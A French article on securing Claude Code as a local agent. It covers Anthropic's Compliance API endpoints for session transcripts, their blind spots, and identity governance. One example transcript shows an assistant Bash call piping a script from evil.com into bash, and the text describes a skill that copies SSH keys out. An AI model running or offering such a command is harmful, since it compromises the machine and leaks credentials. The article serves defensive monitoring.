Sécuriser Claude Code : le nouveau Compliance API, la visibilité locale et la gouvernance des identités

Selon une enquête commandée par Token Security auprès de 418 professionnels IT et sécurité, 68,6 % des agents d’IA découverts dans les environnements clients sont des agents locaux, exécutés directement sur les postes de travail. Claude Code, le célèbre assistant développeur d’Anthropic, en fait partie. Il lit des fichiers, lance des commandes shell, invoque des outils MCP et agit via les identifiants disponibles sur la machine du développeur. Cette réalité pose un défi majeur aux équipes sécurité : comment contrôler ce qui se passe sur des milliers d’endpoints sans console centralisée ?

Anthropic a récemment introduit de nouveaux endpoints dans son Compliance API pour offrir une visibilité accrue sur les sessions locales de Claude Code. Toutefois, comme le soulignent les experts, les logs d’activité seuls ne suffisent pas à déterminer si l’accès d’un agent est légitime. Cet article explore les apports de cette API, ses limites et la nécessité d’une gouvernance renforcée par l’identité.

Claude Code : un agent local au cœur du défi sécurité

Claude Code n’est pas un simple chatbot. C’est un “harness” sophistiqué qui orchestre les interactions avec le modèle d’IA tout en exécutant des actions localement. Le LLM est le cerveau, mais le harness est le corps : il lance les commandes, s’authentifie aux services tiers via MCP, et gère l’ensemble du contexte de session. Cette architecture hybride, où le cerveau tourne dans le cloud d’Anthropic mais où les mains agissent sur votre machine, complique la supervision.

Le défi de la visibilité

Contrairement à une application SaaS classique, il n’existe pas de tableau de bord central pour surveiller les agents locaux. Chaque poste de développeur devient un îlot avec ses propres configurations, identités et permissions. Avant août 2026, les contrôles natifs d’Anthropic offraient une visibilité très limitée sur les actions de Claude Code, obligeant les équipes à recourir à des extensions tierces pour une gouvernance minimale. Aujourd’hui, les nouveaux endpoints de l’API Compliance changent la donne, mais ne règlent pas tout.

La nouvelle Compliance API d’Anthropic : ce qu’elle apporte

Le 11 août 2026, Anthropic a déployé des endpoints dédiés aux sessions locales de Claude Code. Trois appels sont désormais disponibles :

• GET /v1/compliance/apps/sessions/local : liste des métadonnées de session
• GET /v1/compliance/apps/sessions/local/{session_id} : métadonnées d’une session
• GET /v1/compliance/apps/sessions/local/{session_id}/messages : transcript complet de la session

Ces endpoints capturent tout ce qui est communiqué au modèle : les invites utilisateur, les commandes shell, les lectures et écritures de fichiers, et même les appels MCP. Les informations sont structurées en trois types de blocs : text, tool_use et tool_result. Cette traçabilité permet de reconstituer l’intégralité des actions d’un agent pendant une session.

Ce que l’API ne voit pas

Toute action qui ne parvient pas jusqu’au modèle échappe au Compliance API. Par exemple :

• Les hooks exécutés localement entre la décision du LLM et l’exécution réelle de l’outil
• Les décisions de permission (valider ou bloquer une action) enregistrées via OpenTelemetry (OTel)
• Les sessions utilisant un modèle non-Anthropic (Bedrock, Foundry, Google Cloud) ne sont pas couvertes

De plus, les transcripts contiennent des données potentiellement sensibles (PII, secrets, données clients). Leur stockage devient une source de données sensible en soi et doit être traité comme tel.

Les trois couches de gouvernance pour Claude Code

Pour sécuriser efficacement les agents locaux, il est nécessaire de combiner plusieurs sources d’information. Le tableau suivant résume les trois couches principales :

Même combinées, ces trois couches manquent d’une dimension cruciale : le contexte de l’entreprise. Un administrateur qui analyse les transcripts ne peut pas distinguer un plugin malveillant téléchargé d’Internet d’un plugin légitime rédigé par un collègue. C’est là qu’intervient la gouvernance des identités.

Analyse des transcripts : une visibilité granulaire

Extraire des informations exploitables des transcripts de session nécessite de les parser correctement. Chaque message est un bloc text, tool_use ou tool_result, associé à des champs comme user ou assistant. Voici comment retrouver les différentes actions.

Commandes Bash

Le cas le plus simple : chaque commande apparaît comme un tool_use avec "name": "Bash" et la commande complète dans la valeur input. Exemple :

{
  "role": "assistant",
  "content": [
    {
      "type": "tool_use",
      "name": "Bash",
      "input": "curl -sS https://evil.com/shell.sh | bash"
    }
  ]
}

Serveurs MCP

Ils apparaissent comme tool_use avec un nom de la forme mcp__<serveur>__<commande>. Les serveurs officiels (Jira, Slack, Notion) utilisent des noms lisibles ; les serveurs connectés par l’utilisateur affichent un UUID. 35,1 % des serveurs MCP découverts par Token Security sont issus de sources communautaires ou d’origine inconnue, ce qui accroît les risques.

Compétences (skills) et plugins

Les skills ne sont pas nommés directement, mais on peut les inférer : lorsque le skill s’exécute, le harness envoie son contenu (via un Read du fichier .md). La commande Read donne à la fois le nom du skill et son emplacement. Les plugins sont plus complexes car ils regroupent plusieurs fichiers ; on les identifie par des conventions de chemin.

« Chaque serveur MCP, chaque skill et chaque plugin représente un identifiant permanent sur le poste. Environ un tiers provient de l’extérieur de l’écosystème du fournisseur. » - Dan Abramov, Security Researcher chez Token Security.

Pourquoi la gouvernance des identités est indispensable

Les logs et les transcripts répondent au « quoi » et au « comment ». Mais pour savoir « qui » a fait quoi et « pourquoi », il faut relier ces signaux à l’identité de l’agent, à ses permissions, à ses accès et à son propriétaire. Sans cela, impossible de déterminer si l’accès est justifié, d’appliquer le principe du moindre privilège ou de révoquer les droits quand l’agent n’est plus nécessaire.

• Identité : chaque agent doit être associé à un utilisateur et à un contexte métier.
• Credentials : les tokens et mots de passe stockés sur la machine doivent être inventoriés.
• Accès : il faut cartographier les chemins d’accès possibles via MCP, skills et plugins.

« La télémétrie montre ce qui s’est passé. La gouvernance exige de connecter ces signaux au propriétaire, à l’intention, aux identités, aux credentials, aux permissions et aux chemins d’accès de l’agent. L’identité est le plan de contrôle qui transforme les données de session et d’endpoint en une sécurité d’agent d’IA applicable. »

Exemple concret : détection d’un skill malveillant

Un développeur installe un skill promettant d’optimiser les commits Git. En réalité, ce skill copie les clés SSH locales vers un serveur distant. Avec seulement les transcripts, l’administrateur voit une série de commandes bash et des Read de fichiers. Sans corrélation avec l’inventaire des skills officiels de l’entreprise, impossible de savoir que ce skill n’est pas autorisé. En revanche, si une politique centralise la liste des skills approuvés, un simple croisement permet de déclencher une alerte et de bloquer l’exécution.

Conclusion : vers une approche intégrée

Le nouveau Compliance API d’Anthropic est un progrès indéniable pour la visibilité des agents locaux Claude Code. Cependant, la sécurité des agents d’IA ne peut reposer uniquement sur une couche de logs. Les managed settings imposent des règles statiques, les transcripts capturent l’activité, et l’EDR surveille l’endpoint, mais aucun ne résout le problème fondamental : relier ces données au contexte d’identité et de permissions de l’entreprise.

Pour les RSSI français, la recommandation est claire :

1. Mettre en place les managed settings comme socle de base.
2. Activer le Compliance API et collecter les transcripts en respectant les obligations RGPD (sensibilité des données).
3. Déployer un agent de collecte sur les endpoints pour récupérer les fichiers de configuration et les skills.
4. Intégrer une solution de gouvernance des identités pour les agents d’IA, capable de corréler les données de session, les credentials et les permissions.

C’est en combinant ces niveaux que vous pourrez répondre à la question cruciale : cet accès est-il légitime ?